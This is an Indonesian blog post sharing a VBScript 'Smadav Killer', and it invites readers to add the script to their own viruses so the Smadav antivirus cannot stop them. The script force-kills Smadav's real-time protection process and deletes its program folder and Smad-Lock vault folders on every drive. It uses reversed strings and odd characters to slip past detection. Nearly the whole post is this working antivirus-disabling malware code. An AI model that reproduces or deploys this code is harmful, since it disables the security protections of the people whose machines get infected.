[VBS] Membunuh SMADAV

Bagi kamu yang bosan dengan SMADAV, punya virus tetapi dapat pipatahkan oleh SMADAV? Cobalah script ini, atau integrasikan script ini di virus kamu! hehehe

On Error Resume Next
Dim fso, WshShell, PF, WinD
Set fso = CreateObject(StrReverse("tcejbOmetsySeliF.gnitpircS"))
Set Wshshell = Wscript.CreateObject("Wscript.Shell")
PF = Wshshell.ExpandEnvironmentStrings("%ProgramFiles%")
WinD = Wshshell.ExpandEnvironmentStrings("%SystemRoot%")

Msgbox "Smadav Killer by Silver FoX. Press OK to continue...", vbOkOnly, "smartp-0"

Wshshell.Run("taskkill.exe /f /im Sm" & ChrW(916) & "RTP.exe"), 0, vbhide
Wshshell.Run("taskkill.exe /f /im SmaRTP.exe"), 0, vbhide
Wshshell.Run("taskkill.exe /f /im Sm" & ChrW(916) & "RTP.exe"), 0, vbhide

For i = 65 To 90
If fso.DriveExists(Chr(i) & ":") then
Wshshell.Run("cmd.exe /c rd /s /q \\.\" & Chr(i) & StrReverse("fni.nurotua\:")), 0, vbhide
fso.DeleteFolder Chr(i) & ":\" & ChrW(916) & _
  " Smad-Lock " & ChrW(916), true
fso.DeleteFolder Chr(i) & ":\" & ChrW(916) & _
  " Smad-Lock (Brankas Smadav) " & ChrW(916), true
End if
Next

Wscript.sleep 1000

If fso.FileExists(WinD & "\SmaRTP.exe") then
fso.GetFile(WinD & "\SmaRTP.exe").Attributes = 0
fso.DeleteFile WinD & "\SmaRTP.exe", true
Elseif fso.FolderExists(PF & "\SMADAV") then
Wshshell.Run("taskkill.exe /f /im Sm" & ChrW(916) & "RTP.exe"), 0, vbhide
Wshshell.Run("cmd.exe /c rd /s /q " & Chr(34) & PF & "\SMADAV" & Chr(34)), 0, vbhide
End if

Msgbox "Smadav is successfully removed." & vbCrLf & _
  "It's not about how fast, but it's about how smooth...", vbOkOnly, "Smadav Killer"

Jangan Lupa Komentar Yaa..